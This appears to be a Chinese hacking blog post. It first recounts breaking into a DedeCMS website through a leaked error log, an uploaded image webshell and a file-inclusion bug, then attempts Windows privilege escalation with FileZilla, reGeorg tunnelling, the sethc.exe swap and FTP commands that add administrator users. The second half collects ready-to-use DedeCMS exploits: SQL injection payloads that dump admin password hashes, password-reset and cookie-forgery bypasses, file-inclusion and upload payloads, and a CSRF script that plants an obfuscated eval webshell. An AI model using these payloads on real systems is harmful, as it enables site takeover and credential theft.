前几天遇到了个挺坑的网站
是dedecms,一发现是它,我第一时间利用/data/admin/ver.txt
得到更新年份20170504 查看官网的历史版本信息,发现是dedecms v7.5 sp2 版本
记得这个版本存在前台search.php文件的注入漏洞、前台任意用户密码重置漏洞、前台cookie伪造登陆到管理员前台账号,再利用前台管理员用户重置后台管理员的密码。从而进入后台进行getshell 后台getshell比较简单就不说了。
ps:有时候后台默认文件被修改,可以利用各种标识文件 tags.phpuploadsafe.inc.php进行后台目录的爆破(仅针对win系统)。
exp与原理分析可以看:https://www.cnblogs.com/zhaijiahui/p/8484667.html
当前这些的前提前台开启了注册功能,从v6.5开始就没有默认开启这个功能了,可以在后台开启。
回到正题,很遗憾,我测试的这个网站没有开启注册功能,这样没有前台用户的话,基本百分之九十八的洞基本无法实现。
暂时只能从注入入手,尝试了多处注入点,没有注入成功。
找下敏感文件了,/data/mysql_error_trace.inc,数据库错误日志文件。
在这个文件中很幸运得到一个前台账户密码。
然后登录会员中心
尝试任意文件上传漏洞
无法绕过上传木马文件
只是在个人中心页面更新logo页面上传了图片马
尝试前台cookie伪造漏洞
因为不为1的整数,所以无法cookie伪造为admin
尝试任意用户密码重置漏洞
利用/member/resetpassword.php文件得到key,这是临时的密码
然后利用临时密码重置admin管理员的密码。可惜前台登录admin报错,
并且爆破后台无果。
只能跳转思路,利用之前上传成功的图片马。利用plus/carbuyaction.php本地文件包含漏洞进行包含图片马的一句话。
成功利用getshell。
提权
权限很低,无法执行命令,连dir都无法回显。
利用mysql提权,找到数据库账号密码,连接进行udf提权,无果
无法调用cmd命令很多exp提权都不能使用。
扫端口,开了3389 21 135 14147
第一尝试 135端口 cpr服务漏洞,利用msf添加路由,直接use exp 然后run 无果
第二尝试 3389 的shift多年前的输入法,crrl+shift快速切换提权。
第三尝试 21与14147 21是ftp服务 14147是FileZillaServer服务
,在webshell找到 FileZillaServer 目录文件,得到其中的密码配置文件。得到FileZillaServer管理员账号密码。
第一,利用lcx.exe进行端来转发,把14147端口转发出来(因为本次环境不能执行命令,于是不能如此转发出来,利用reGeorg+proxifier代理出来)
参考链接 https://blog.csdn.net/he_and/article/details/81260806
本机运行 reGeorgSocksProxy.py -p 端口 -u http://192.168.200.141/haipeng/r/tunnel.nosocket.php
靶机运行 http://192.168.200.141/haipeng/r/tunnel.nosocket.php
再利用Proxy全局代理工具把从靶机所有的流量转到本机开启的端口,这样我们就通过本机这个端口代理了靶机。
代理后本机下载FileZillaServer工具,添加共享目录,添加新用户。
再利用ftp工具连接账号
接下来就是利用ftp提权了。
替换掉system32和\system32\dllcache\目录下的sethc.exe 替换覆盖为cmd.exe(重命名后的) 在远程登录页面按5下shift调出cmd命令框。
我没有成功
.
.
.
待续
连接ftp,使用quote命令提权
quote site exec net user 用户名 密码 /add 添加一个用户
quote site exec net localhost administrators 用户名 /add 把用户添加到系统管理员组
quote site exec tskill PID 在 Windows 2003 中通过 PID 关闭进程
quote site exec tskill notepad 在 Windows 2003 中通过名称关闭同类的进程
quote site exec net stop iisadmin 停止 iis 服务
quote site exec net start iisadmin 启动 iis 服务
也无果
提权姿势参考 https://www.cnblogs.com/dggsec/p/10126382.html
//-------------------------------------------------------------------------------
//--------------------------------------------------------------------------------
总结整理下dedecms一些高危漏洞。
离别歌的一篇文章。搬过来收藏下
dedecms plus/search.php 注入
步骤1:得到反馈
提交
/plus/search.php?keyword=as&typeArr[ uNion ]=a 和 http://www.newflash.tv/plus/search.php?keyword=as&typeArr[ uNion ]=a
我们得到如下反馈:
图片1
反馈为1时利用如下exp:
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
得到列如下图错误(错误信息中存在被注入出的账号密码)
图片二
反馈为2时利用如下exp:
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
爆出了账号密码
图片三
步骤2:破解密码
dede的后台密码加密算法大家可以下了整站看,这里直说解法:将得到的20位密文去掉开头三位,去掉末尾一位,即为16位md5密码。
如拿到的0038c7ad73902a9f1d87去首三末一为8c7ad73902a9f1d8,破解出的密码是15858272308。
步骤3:查找后台地址
dede的后台目录可能改成任何名字,而且不需要插入数据库,也就是说通过注入漏洞是无法爆出后台地址的。不过网上有个简单的方法,访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息。
如果这个方法失败,还可以通过google搜索的方法:构造site:bianminxueche.com intitle:后台 等关键字搜索,也许能得到后台地址。
其他方法还有社工、暴力搜索等。
dedecms5.6 member/buy_action.php注入
完整payload:
当前数据库信息
/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select database()),(select 1),'4
查出表名
/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select table_name from information_schema.tables where table_schema=database() LIMIT 7,1),(select 1),'4
查出列名
http://192.168.1.130/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select column_name from information_schema.columns where table_name=0x646564655f61646d696e LIMIT 6,1),(select 1),'4
dedecms member/reg_new.php SQL注入漏洞
poc:
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=
//把vdcode=slum改成当前的验证码
DedeCMS 5.7_sp1 /member/buy_action.php SQL注入漏洞
访问buy_action.php文件,使用如下参数:
?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
(如果不行可以试试post)
其中product和pid参数是为了让我们进入mchStrCode对传入数据进行编码的分支,a是为了配合上面提到的差异特性而随意添加的参数。从cfg_dbprefix开始,便是真正的SQL注入攻击代码。 访问该URL后,在页面源码中找到pd_encode和pd_verify字段的值,由于用户Cookie和User-Agent不同,所获取的值也不同,我这里获取的值非别为
列如
pd_encode:FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBWkAI AldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCV YWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8 dnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBVYXd4RlZ rDlYOW1xnQXtfGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX WUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUg 0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANa AgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXw taN1 oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg;
pd_verify:1c7ba5d2861959347d0c427684a6ad30。
以这两个字段作为参数访问buy_action.php,URL为:
http://xxx//dedecms5.7_sp1_utf8/member/buy_action.php?pd_encode=FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBQlBfWkAIAldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCVAHVwYWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8EB1qdnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBVYXd4RlZXXAdrDlYOW1xDEHlwfnFhRgIeCUsYJX8sdmsZYnR3dxAFTxgAEUtMQ3UxdnQReXtfGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX5jf2BpE3psRkobWUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUgYBXw0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANaUQAGAgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXwtaN1oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg&pd_verify=1c7ba5d2861959347d0c427684a6ad30
DedeCMS 5.7 plus/guestbook.php 注入漏洞
- http://localhost/dedecms5.7/plus/guestbook.php
- [回复/编辑]上可以看到访问者留言的ID。则记下ID,例如: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&id=1
- 访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&msg=errs.cc’&id=1
- 提交后,如果是dede5.7版本的话,会出现"成功更改或回复一条留言",那就证明修改成功了
- 再返回到: http://localhost/dedecms5.7/plus/guestbook.php,看下改的那条留言内容是否变为了 errs.cc’ 如果是的话,那就证明此漏洞无法再利用应为他开启: php magic_quotes_gpc=off
- 如果没有修改成功,那留言ID的内容还是以前的,那就证明漏洞可以利用。
- 那么再次访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&id=1&msg=’,msg=user(),email=’
- 然后返回,那条留言ID的内容就直接修改成了mysql 的user().
poc:
/plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
Dedecms /member/mtypes.php 注入漏洞
- 首先打开: http://127.0.0.1/dedecms5.5/member/mtypes.php
- 添加一个分类,记住ID(1),和原来的分类名称(fenlei)
- 然后打开: http://127.0.0.1/dedecms5.5/member/mtypes.php?dopost=save&mtypename[1’ or @
'
AND 1%3D1 and (select ‘r’)%3D’r’ and ‘1’%3D’1]=4
//将其中的1改成你的分类ID- 结束之后打开之后返回: http://127.0.0.1/dedecms5.5/member/mtypes.php
//如果(select ‘r’)='r’的话 那么分类名称就被改成了4! 这样我们就能来判断是否满足条件了,二值判断注入
DedeCms flink.php注入漏洞
访问 plus/flink.php
查版本
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
查密码
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
dedecms5.7 sp1版本存在远程文件包含漏洞
1.访问/install/index.php(index.php.bak),查看文件是否存在。
2.构造payload再次访问,此时清空config_update.php文件。
install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php
3.可以看到文件已经被清空,这时我们就可以利用变量覆盖来远程包含我们的文件了。
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/
dedecms v5.6 plus/carbuyaction.php本地包含漏洞
Include/payment/yeepay.php
1.配合文件上传进行本地包含,上传图片马
2.利用cookie修改工具,加上 code=alipay
然后访问
plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg
dedecms v5.7 sp2 前台COOKIE伪造 登录绕过漏洞
利用注册一个用户名与管理员用户的mid一样的整数。如管理员的mid为1,我们注册一个用户名0001的用户
访问访问/member/index.php?uid=0001,获取last_vid__ckMd5的值
接下来使用0001账号登录,登录后修改的cookie。
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5
刷新即可登录到admin管理员的前台用户。
再利用前台密码修改重置后台管理员密码
登录前台管理员账号,进入管理空间,修改新密码即可
当然还有可以
dedecms v5.7 sp2 前台重置管理员前台密码
第一步:访问链接:
http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=1
http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1
http://xxxx/DedeCMS-V5.7-UTF8-SP2/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanwser=&id=1
URL:http://xxxx/DedeCMS-V5.7-UTF8-SP2/member/resetpassword.php
POST:dopost=safequestion&safequestion=0.0&safeanswer=&id=用户ID
id为管理员id,得到key的值,当无法重置管理原密码可以试试post方式
第二步:再访问:
http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=1&key=gnUckBp3
dedeCMS V5.7 SP2前台文件上传漏洞#
登录到前台会员中心
进入内容中心,在文章发表处可以发表文章,在下面的编辑器可以上传图片
抓包修改1.jpg为1.jpg.p*hp
上传成功返回上传路径
dedecms最新友情链接getshell漏洞
先上exp:
新建exp.php文件内容如下:
<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>
这里利用csrf漏洞使管理员点击我们构造的链接,然后以管理员的权限写了一个shell.lib.php的一句话文件
然后我们在前台的友情链接处添加友情链接。管理原点击,触发漏洞
织梦(DedeCms) v5.6-5.7 越权访问漏洞(直接进入后台)
把上面validate=dcug改为当前的验证码,即可直接进入网站后台
此漏洞的前提是必须得到后台路径才能实现
记录:
织梦(dedecms)全版本注入工具
链接:https://pan.baidu.com/s/10vI3yRu35ZNGdKtmgs4DCA 密码:0yv0
https://www.secpulse.com/archives/22816.html
common.inc.php 注入
https://www.leavesongs.com/PENETRATION/UseOfDede0day.html
plus/search.php 注入
织梦dedecms留言板注入漏洞edit.inc.php